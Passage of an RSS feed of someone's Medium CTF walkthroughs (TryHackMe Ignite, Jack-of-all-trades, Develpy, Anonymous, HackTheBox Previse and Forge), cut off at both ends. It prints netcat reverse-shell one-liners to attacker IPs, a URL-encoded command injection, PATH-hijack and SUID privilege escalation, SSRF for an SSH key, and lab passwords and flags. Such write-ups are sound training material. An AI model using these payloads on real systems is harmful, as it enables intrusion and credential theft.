1</pre><pre>delim=%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2&gt;%261|nc+10.10.15.119+1234+&gt;/tmp/f</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*RiRdcgGadem9OBAdg3eJCA.png" /></figure><p>And I got the shell. I stabilised the shell using <a href="https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/">socat</a>.</p><p>Now, I connected to MySQL using above creds:</p><pre>mysql -u root -p</pre><p>Then I entered these commands:</p><pre>mysql&gt; show databases;</pre><pre>mysql&gt; use previse;</pre><pre>mysql&gt; show tables;</pre><pre>mysql&gt; describe accounts;</pre><pre>mysql&gt; select id, username, password from accounts;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*V4DuEx-Mbtd6IbW0myMF9A.png" /></figure><p>I got this!<br><strong>m4lwhere:$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.</strong></p><p>I tried cracking it using hashcat:</p><pre>.\hashcat.exe -m 500 -a 0 ./hash.txt ./wordlists/rockyou.txt</pre><p>(I use hashcat in windows, you can use it in linux as well)<br>I got this:<br>Username: <strong>m4lwhere<br></strong>Password: <strong>ilovecody112235!</strong></p><p>Let’s SSH!<br>Get <strong>user.txt</strong> from <strong>/home/m4lwhere/user.txt</strong>.</p><p>Now, for privilege escalation. I ran <strong>sudo -l</strong> and got this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*_iP29mjJplM9v8HHD-3JNQ.png" /></figure><p>We do not have edit permissions to that file, but we can view it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UMeu_MrXH_jq9qKBroxB3g.png" /></figure><p>Here, we can see that they have not provided absolute paths for <strong>gzip</strong> and <strong>date</strong>. So, maybe we can change the <strong>PATH</strong> variable to our advantage. Read the following article for details:</p><p><a href="https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/">Linux Privilege Escalation Using PATH Variable</a></p><p>I changed the PATH variable:</p><pre>export PATH=/home/m4lwhere:$PATH</pre><p>So, that now my PATH looks like this:</p><pre>/home/m4lwhere:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin</pre><p>Next, I created a file named <strong>gzip</strong> in the home directory of m4lwhere with contents:</p><pre>#!/bin/sh<br>chmod +x /bin/bash</pre><p>Then, I ran the script with:</p><pre>sudo /opt/scripts/access_backup.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*NpFrMjCZW03WWOCqgw5cyA.png" /></figure><p>So, it is done. Run <strong>bash -p</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/332/1*ZM99fg6LYj95g0q3VpOGnA.png" /></figure><p>And we are root!<br>Get <strong>root.txt</strong> from <strong>/root/root.txt</strong>.</p><p><strong>We have successfully pwned the box!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e34ef407fc05" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IGNITE — TryHackMe WriteUp]]></title>
            <link>https://medium.com/@v1per/ignite-tryhackme-writeup-30449da75de2?source=rss-c4b3fa676069------2</link>
            <guid isPermaLink="false">https://medium.com/p/30449da75de2</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Himanshu Das]]></dc:creator>
            <pubDate>Wed, 29 Jun 2022 18:51:39 GMT</pubDate>
            <atom:updated>2022-06-29T18:51:39.206Z</atom:updated>
            <content:encoded><![CDATA[<h3>IGNITE — TryHackMe WriteUp</h3><p><strong>IGNITE </strong>is a <strong>LINUX</strong> machine of <strong>EASY</strong> difficulty.</p><p>Do a <strong>rustscan </strong>to check for open ports:</p><pre>rustscan -a 10.10.80.10 --ulimit 5000 -- -A -Pn -T4 -sC -sV</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*7V905vAt0Lr9hoE_nN96Vg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*WlLK38hl5v0J8Sa8Hdlbyg.png" /></figure><p>Only one port. Let’s visit the site:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RTxcBf-Cneend36NQJntUg.png" /></figure><p>There’s a version: <strong>1.4</strong></p><p>There’s one entry in robots.txt:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/211/1*zA-leapf0uUMzTZxfvwX5Q.png" /></figure><p>Let’s visit it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5MOrKSNvY0QGITaEoGNs9w.png" /></figure><p>It’s a login page. I tried logging in with <strong>admin:admin</strong>, and I was logged in!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jDJ29aVeXj3Sui2wgYJ1iw.png" /></figure><p>It says to change password, well, I don’t want to…</p><p>Anyways, I searched around a bit, but didn’t find anything.<br>I then searched if there is an exploit for the version 1.4 of FuelCMS on searchsploit, and I found <a href="https://www.exploit-db.com/exploits/50477">this</a>.<br>Using this script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*TwqkUREze5P9t0jE90aXXQ.png" /></figure><p>I got RCE! Let’s get a reverse shell.<br>I used this payload:</p><pre>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&gt;&amp;1|nc 10.17.26.199 1234 &gt;/tmp/f</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*V0TDEPmdHAPxbTRNjn5ZdA.png" /></figure><p>And I got a shell!</p><p>Get <strong>flag.txt</strong> from <strong>/home/www-data/flag.txt</strong></p><p>Now, for escalation. I stabilised the shell using socat first. Then, I ran linpeas, and I found an interesting file:<br><strong>/var/www/html/fuel/application/config/database.php</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*XF4IsSyJb5JsUssyqM9mqw.png" /></figure><pre>Username: root<br>Password: mememe</pre><p>Let’s see if this is actually the root’s password. I tried to su into root, and:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*8OyedPooBLrPDARDXenbUw.png" /></figure><p>Get <strong>root.txt</strong> from <strong>/root/root.txt</strong></p><p><strong>We have successfully pwned the box!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=30449da75de2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[JACK-OF-ALL-TRADES — TryHackMe WriteUp]]></title>
            <link>https://medium.com/@v1per/jack-of-all-trades-tryhackme-writeup-4fa0ffaa0237?source=rss-c4b3fa676069------2</link>
            <guid isPermaLink="false">https://medium.com/p/4fa0ffaa0237</guid>
            <category><![CDATA[hacks]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Himanshu Das]]></dc:creator>
            <pubDate>Tue, 28 Jun 2022 18:38:02 GMT</pubDate>
            <atom:updated>2022-06-28T18:38:02.145Z</atom:updated>
            <content:encoded><![CDATA[<h3>JACK-OF-ALL-TRADES — TryHackMe WriteUp</h3><p><strong>JACK-OF-ALL-TRADES</strong> is a <strong>LINUX </strong>machine of <strong>EASY </strong>difficulty.</p><p>Do a <strong>rustscan</strong> to check for open ports:</p><pre>rustscan -a 10.10.79.152 --ulimit 5000 -- -A -Pn -T4 -sC -sV</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*ZrqJzt7GDCpeMdgYFbHRtA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*kIcD0wnjfQ99UjCA9NGanA.png" /></figure><p>Let’s check out the website first.</p><p><strong>Note that by default firefox would block you from visiting this site. So, first go to “about:config” and then search for “network.security.ports.banned.override”.<br>If it exists, then just edit it and add port 22 in the end, or create a new one with the “String” type and add port 22 there.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xO8goX7q4gFBvIugeaB12w.png" /></figure><p>The website opens, finally.</p><p>In the source code, there’s some interesting texts:</p><pre>&lt;!--Note to self - If I ever get locked out I can get back in at /recovery.php! --&gt;<br>   &lt;!--  UmVtZW1iZXIgdG8gd2lzaCBKb2hueSBHcmF2ZXMgd2VsbCB3aXRoIGhpcyBjcnlwdG8gam9iaHVudGluZyEgSGlzIGVuY29kaW5nIHN5c3RlbXMgYXJlIGFtYXppbmchIEFsc28gZ290dGEgcmVtZW1iZXIgeW91ciBwYXNzd29yZDogdT9XdEtTcmFxCg== --&gt;</pre><p>It appears to be base64, which on decoding gives:</p><pre>Remember to wish Johny Graves well with his crypto jobhunting! His encoding systems are amazing! Also gotta remember your password: u?WtKSraq</pre><p>Some password I guess: <strong>u?WtKSraq</strong></p><p>Now, visiting the /recovery.php, I got this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9DHNOrK0_5oTdSz-athWTg.png" /></figure><p>Checking the source code, I again found a comment:</p><pre>&lt;!-- GQ2TOMRXME3TEN3BGZTDOMRWGUZDANRXG42TMZJWG4ZDANRXG42TOMRSGA3TANRVG4ZDOMJXGI3DCNRXG43DMZJXHE3DMMRQGY3TMMRSGA3DONZVG4ZDEMBWGU3TENZQGYZDMOJXGI3DKNTDGIYDOOJWGI3TINZWGYYTEMBWMU3DKNZSGIYDONJXGY3TCNZRG4ZDMMJSGA3DENRRGIYDMNZXGU3TEMRQG42TMMRXME3TENRTGZSTONBXGIZDCMRQGU3DEMBXHA3DCNRSGZQTEMBXGU3DENTBGIYDOMZWGI3DKNZUG4ZDMNZXGM3DQNZZGIYDMYZWGI3DQMRQGZSTMNJXGIZGGMRQGY3DMMRSGA3TKNZSGY2TOMRSG43DMMRQGZSTEMBXGU3TMNRRGY3TGYJSGA3GMNZWGY3TEZJXHE3GGMTGGMZDINZWHE2GGNBUGMZDINQ=  --&gt;</pre><p>This seems to be another form of encoding. To decode this, first base32 decode it, then a hex decode, followed by a Vigenère with key “nnn”.</p><pre>Remember that the credentials to the recovery login are hidden on the homepage! I know how forgetful you are, so here&#39;s a hint: bit.ly/2TvYQ2S</pre><p>The bit.ly links to this <a href="https://en.wikipedia.org/wiki/Stegosauria">Wikipedia page</a>.</p><p>Hmm…. stegosauria…. probably something related to steganography?</p><p>And, it also says they are hidden on the homepage.<br>I went back there, and saw that there are three images there: jackinthebox.jpd, header.jpg and stego.jpg.</p><p>The stego.jpg file looks the most sus for obvious reasons.</p><p>I used steghide on that:</p><pre>steghide extract -sf stego.jpg</pre><p>I used the password we found earlier (<strong>u?WtKSraq</strong>) as the passphrase, and got this:</p><pre>Hehe. Gotcha!</pre><pre>You&#39;re on the right path, but wrong image!</pre><p>Then did the same in the other two images.</p><p>I found this in the header.jpg file:</p><pre>Here you go Jack. Good thing you thought ahead!</pre><pre>Username: jackinthebox<br>Password: TplFxiSHjY</pre><p>Uff!</p><p>Anyways, I logged in to the website, and got this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*HsDnmR3QpX3F0wzztr_wOQ.png" /></figure><p>I sent a request with a GET parameter <strong>cmd</strong> with value “id”, and got this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kY8IWG5vqukOMZVHWu_r9g.png" /></figure><p>Well, we have RCE. Let’s try to get a reverse shell from here. I used this command:</p><pre>nc -c sh 10.17.26.199 1234</pre><p>In the /home folder, there’s a file called jacks_password_list which contained this:</p><pre>*hclqAzj+2GC+=0K<br>eN&lt;A@n^zI?FE$I5,<br>X&lt;(<a href="http://twitter.com/zo2XrEN">@zo2XrEN</a>)#MGC<br>,,aE1K,nW3Os,afb<br>ITMJpGGIqg1jn?&gt;@<br>0HguX{,fgXPE;8yF<br>sjRUb4*@pz&lt;*ZITu<br>[8V7o^gl(Gjt5[WB<br>yTq0jI$d}Ka&lt;T}PD<br>Sc.[[2pL&lt;&gt;e)vC4}<br>9;}#q*,A4wd{&lt;X.T<br>M41nrFt#PcV=(3%p<br>GZx.t)H$&amp;awU;SO&lt;<br>.MVettz]a;&amp;Z;cAC<br>2fh%i9Pr5YiYIf51<br>TDF@mdEd3ZQ(]hBO<br>v]XBmwAk8vk5t3EF<br>9iYZeZGQGG9&amp;W4d1<br>8TIFce;KjrBWTAY^<br>SeUAwt7EB#fY&amp;+yt<br>n.FZvJ.x9sYe5s5d<br>8lN{)g32PG,1?[pM<br>z@e1PmlmQ%k5sDz@<br>ow5APF&gt;6r,y4krSo</pre><p>These look like passwords, maybe one of these is the password for the user <strong>jack</strong>?</p><p>I tried all of them, and finally one worked!</p><pre>username: jack<br>password: ITMJpGGIqg1jn?&gt;@</pre><p>SSH into jack. There’s a file named user.jpg in the home directory. Let’s download it and see what it is.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*uT4IBv_u22Q3ylHOg8bsqw.png" /></figure><p>This was the image. So, we have our user flag:</p><pre>securi-tay2020_{p3ngu1n-hunt3r-3xtr40rd1n41r3}</pre><p>Now, time for privilege escalation. I searched for SUID binaries using:</p><pre>find / -type f -perm /4000 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*7F8EV99Ph6ff_MpH8hCPUQ.png" /></figure><p>SUID is set on <strong>/usr/bin/strings.</strong></p><p>Let’s see if the root user has an SSH key or not.</p><pre>strings /root/.ssh/id_rsa</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*aISqTIHeRyeWJL1NBnAjqQ.png" /></figure><p>Apparently not :/</p><p>Anyways, let’s read the root flag:</p><pre>strings /root/flag.txt</pre><p>The root flag:</p><pre>securi-tay2020_{6f125d32f38fb8ff9e720d2dbce2210a}</pre><p><strong>We have successfully pwned the box!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4fa0ffaa0237" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DEVELPY — TryHackMe WriteUp]]></title>
            <link>https://medium.com/@v1per/develpy-tryhackme-writeup-f2c143f86ee?source=rss-c4b3fa676069------2</link>
            <guid isPermaLink="false">https://medium.com/p/f2c143f86ee</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[exploit]]></category>
            <dc:creator><![CDATA[Himanshu Das]]></dc:creator>
            <pubDate>Sat, 25 Jun 2022 19:15:26 GMT</pubDate>
            <atom:updated>2022-06-25T19:15:26.569Z</atom:updated>
            <content:encoded><![CDATA[<h3>DEVELPY — TryHackMe WriteUp</h3><p><strong>DEVELPY</strong> is a <strong>LINUX </strong>machine of <strong>MEDIUM </strong>difficulty.</p><p>Do a <strong>rustscan</strong> to check for open ports:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*qnh7DKaiN5qwOJPpnagUug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EPUT39_-lYQetcFy9b2i5A.png" /></figure><p>So, there are two open ports, one is for SSH. Let’s check out the other:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*Ydvf3t_3EUWJ6kOmqbgXSQ.png" /></figure><p>I sent some text, and got this error:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*kPvALh8p-jX8r6WT3CwmAA.png" /></figure><p>So a python code is running which is using the <strong>input()</strong> method to take an integer as input.</p><p>Now, I remembered that python2 had a vulnerability in its input() function which lead to RCE. But, I wasn’t sure if this was code was in python2 or python3. But, anyways, I tried to use <a href="https://intx0x80.blogspot.com/2017/05/python-input-vulnerability_25.html">this</a>.</p><p>I entered this:</p><pre>__import__(&quot;os&quot;).system(&quot;id&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xix04RJnK4QWW6OKYG54Dg.png" /></figure><p>And well, looks like I just got RCE!</p><p>Let’s get a reverse shell out of this. I used this command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S9kLXkFitjTPIzXt7hTNdA.png" /></figure><p>Get <strong>user.txt</strong> from the current directory.</p><p>Next, I created a <strong>.ssh</strong> folder in king’s home directory, and provided a public key there, and then sshed to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*oXVBKpjjNtWmR5vOy5Umvw.png" /></figure><p>There are some pretty interesting files in here. First, let’s have a look at the credentials.png file. I downloaded it to my local machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*HYk6d51SmzCAGX67OX3iAQ.png" /></figure><p>Hmmm………………</p><p>Anyways, we’ll come back to this later. Checking /etc/crontab as well while we’re at it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c0fxvMj9A08EMvBGWBNcuw.png" /></figure><p>Interesting. Let’s check these two files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*xb1WPlWE2GRw5CfJdrvXBg.png" /></figure><p>run.sh is running the exploit.py file, which we used to get RCE. The root.sh seems interesting though. It’s executing each and every file in the /root/company/media/ directory with the extension <strong>.py</strong>.</p><p>Let’s see if we have write or read permissions in that directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*llcOVbIqtDmUxkAKqGpQqQ.png" /></figure><p>Guess we don’t.</p><p>BUT, I found another interesting thing:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Giurpv-HuHUk4YbfRNif0Q.png" /></figure><p>/home/king/bin is in the PATH. It might be the same for the root, and root is executing the command <strong>python &lt;something&gt;</strong>. It does not specify the full path of the python binary. Maybe we can use it after all?</p><p>I created a file named <strong>python</strong> in the directory <strong>/home/king/bin</strong>. Inside it, I wrote this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*WUDP8VqSRb5CShNAY2bqrA.png" /></figure><p>Then gave it executable permissions, and waited…<br>But sadly, nothing. I tried the same in the <strong>/home/king/.local/bin</strong> directory as well, but again, nothing.</p><p>While thinking of what to do next, something just hit me!<br>Can I delete the root.sh file?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*jfnvnw0FrAP5bhubfVNlFQ.png" /></figure><p>Turns out I could -_-</p><p>I wrote this in this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/267/1*bSUN7IzA9nylAGJN9sHTlA.png" /></figure><p>Then waited for a few minutes an did a <strong>bash -p</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vRvA1u0Vri3F8cugXCLYjQ.png" /></figure><p>Well, I’m root!<br>Get the <strong>root.txt </strong>from root’s home directory.</p><p>But, this still got me wondering… what was that credentials.png file?<br>It looks like piet… I downloaded the Windows executable from <a href="https://www.bertnase.de/npiet/">here</a>, and ran:</p><pre>.\npiet.exe .\credentials.png</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TIPqSxGnLPIQ-rK-xhwrog.png" /></figure><p>Got this:</p><pre>c00ffe123!king</pre><p>This was actually the password of the user <strong>king</strong>. Well, we don’t need it anymore.</p><p><strong>We have successfully pwned the box!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f2c143f86ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Anonymous — TryHackMe WriteUp]]></title>
            <link>https://medium.com/@v1per/anonymous-tryhackme-writeup-c275684a817e?source=rss-c4b3fa676069------2</link>
            <guid isPermaLink="false">https://medium.com/p/c275684a817e</guid>
            <category><![CDATA[anonymous]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[thm]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Himanshu Das]]></dc:creator>
            <pubDate>Fri, 17 Jun 2022 18:23:36 GMT</pubDate>
            <atom:updated>2022-06-17T18:24:45.199Z</atom:updated>
            <content:encoded><![CDATA[<h3>Anonymous — TryHackMe WriteUp</h3><p><strong>ANONYMOUS</strong> is a <strong>LINUX </strong>machine, of <strong>MEDIUM </strong>difficulty.</p><p>Do a <strong>rustscan </strong>to check for open ports:</p><pre>rustscan -a 10.10.5.168 --ulimit 5000  -- -sC -sV -T4 -Pn</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*p4rQnkBzBpTnVaTIdhq8pQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ed01zICBG1Jk9kkucx9G0g.png" /></figure><p>So there are <strong>4 ports open</strong>, with <strong>FTP on port 21</strong>, and <strong>SMB on 139 and 445</strong>.</p><p>Let’s check SMB first:</p><pre>smbclient -L \\\\10.10.5.168\\</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*-HXMcDtDooUe-spB8abRPg.png" /></figure><p>There’s a share named <strong>pics</strong>. I first want to check out FTP though, as I saw that anonymous login was enabled in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*MqndQc1gCxfJMKLM48k-ag.png" /></figure><p>There was a scripts folder inside, which contains three files. Downloading them using mget, I saw a script and file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nYy9Jd66-nk1BfafBplFTA.png" /></figure><p>Seeing the script and the file, it is obvious that this script is being executed multiple times, and what’s even better is that we have write permissions on it!</p><p>I edited the script and added a reverse shell:</p><pre>rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2&gt;&amp;1|nc 10.17.26.199 1234 &gt;/tmp/f</pre><p>Then uploaded it using:</p><pre>put clean.sh</pre><p>Then set up a netcat listener, and waited…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*ritQvAsFLFU_MKvpEoiNSA.png" /></figure><p>And I got a shell! Get <strong>user.txt</strong> from the home directory of the user.</p><p>Now, time for privilege escalation. I searched for SUID binaries:</p><pre>find / -type f -perm /4000 2&gt;/dev/null</pre><p><strong>/usr/bin/env</strong> seemed suspicious. I searched on GTFObins, and got <a href="https://gtfobins.github.io/gtfobins/env/">this</a>.</p><p>Just simply run:</p><pre>env /bin/sh -p</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*-C03-C60YY7heZC0EkZ25w.png" /></figure><p>And we have the euid as root!<br>Get <strong>root.txt</strong> from the root’s home directory!</p><p>I also noticed that the user <strong>namelessone</strong> had <strong>lxd</strong> in his gid, which can also be used for privilege escalation. Follow this blog for <a href="https://www.hackingarticles.in/lxd-privilege-escalation/">that</a>.</p><p><strong>We have successfully pwned the box!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c275684a817e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[FORGE — HackTheBox WriteUp]]></title>
            <link>https://medium.com/@v1per/forge-hackthebox-writeup-a0aee97372ac?source=rss-c4b3fa676069------2</link>
            <guid isPermaLink="false">https://medium.com/p/a0aee97372ac</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[forge]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Himanshu Das]]></dc:creator>
            <pubDate>Mon, 09 May 2022 14:01:50 GMT</pubDate>
            <atom:updated>2022-05-09T14:01:50.129Z</atom:updated>
            <content:encoded><![CDATA[<h3>FORGE — HackTheBox WriteUp</h3><p><strong>FORGE</strong> is a <strong>LINUX</strong> machine of <strong>MEDIUM</strong> difficulty.</p><p>Do a <strong>rustscan</strong> to check for open ports:</p><pre>rustscan -a 10.10.11.111 --ulimit 5000 -- -A -Pn -T4 -sC -sV</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*jll84-p0r0tIAYZIMWLKZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*iDccfWM7ZNzdn1eBe_gpjQ.png" /></figure><p>Add forge.htb to your /etc/hosts. Run ffuf for directory busting:</p><pre>ffuf -w &#39;/usr/share/wordlists/dirb/common.txt&#39; -u &#39;<a href="http://forge.htb/FUZZ&#39;">http://forge.htb/FUZZ&#39;</a> -t 64 -e &#39;.txt,.php,.html&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*d4P-YvImuxSJ5Zs-RNG4pA.png" /></figure><p>Let’s visit the site:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zWzW76kdlKVKVRfjpE9S5g.png" /></figure><p>Clicking on Upload an image brings us to this page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*s4QTJUJsN7eiGt8BmmwrgA.png" /></figure><p>I uploaded the <a href="https://github.com/pentestmonkey/php-reverse-shell">Pentestmonkey PHP reverse shell</a> here, then clicked on the linked provided to go to the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yflegayGrG11qmL-LPuSug.png" /></figure><p>Ok, let’s look into this a little, but first, let’s enumerate for some subdomains as well:</p><pre>gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u forge.htb -t 64</pre><p>And I got a looooottttt of output, but in between those, I found this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*T8RrgUpntFmEGvPx6xOzYQ.png" /></figure><p><strong>admin.forge.htb</strong> has status code 200, rest others have 302. Let’s add that to our /etc/hosts as well. Visiting that:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*obN19geyTj3mU_mlZ2kdFg.png" /></figure><p>Ok :/<br>Anyways, let’s search for the file upload:</p><p><a href="https://book.hacktricks.xyz/pentesting-web/file-upload">File Upload | HackTricks</a></p><p>In this the Upload files from URL section caught my eye. But the server renders the files as an image, so probably not of use to us. But, the word <strong>SSRF</strong> word caught my eye as well. I tried to upload this file from URL: <a href="http://admin.forge.htb/">http://admin.forge.htb</a>, and I got this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*hHCHXEMZwaiJ_9XpQfx4VQ.png" /></figure><p>See this article:</p><p><a href="https://www.geeksforgeeks.org/what-is-local-host/">What is Local Host? - GeeksforGeeks</a></p><p>I tried some things, but they didn’t work. But, when I tried: <a href="http://admin.forge.htb/">http://admin.FORGE.htb</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EWdq-rGa9N_2Zp3qiB9CkA.png" /></figure><p>Ok, it got uploaded! Now, no use of opening that, but, I tried to download that using <strong>wget</strong>:</p><pre>wget <a href="http://forge.htb/uploads/B4RiQc0q0IlNEgfVvTqL">http://forge.htb/uploads/B4RiQc0q0IlNEgfVvTqL</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*2BLqW0YIvXj-nD6JRMoYgA.png" /></figure><p>So yes! It worked. We see a /announcements directory. Let’s try to get that:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ez3oaLTNKXzMDH_YUneBow.png" /></figure><p><strong>user:heightofsecurity123!</strong><br>Also, we see that <strong>ftp</strong> is supported. Also, it is shown below how we can access that. Read this article:</p><p><a href="https://www.timeatlas.com/ftp-web-browser/">Connect to FTP Sites with a Web Browser</a></p><p>Let’s try this now: <a href="http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@LOCALHOST">http://admin.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@LOCALHOST</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*tMLzqbAEamio9SgNp_s8cw.png" /></figure><p>Ok, so we are most probably in the home directory. Let’s try to get <strong>id_rsa</strong>: <a href="http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@LOCALHOST/.ssh/id_rsa">http://admin.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@LOCALHOST/.ssh/id_rsa</a></p><pre>-----BEGIN OPENSSH PRIVATE 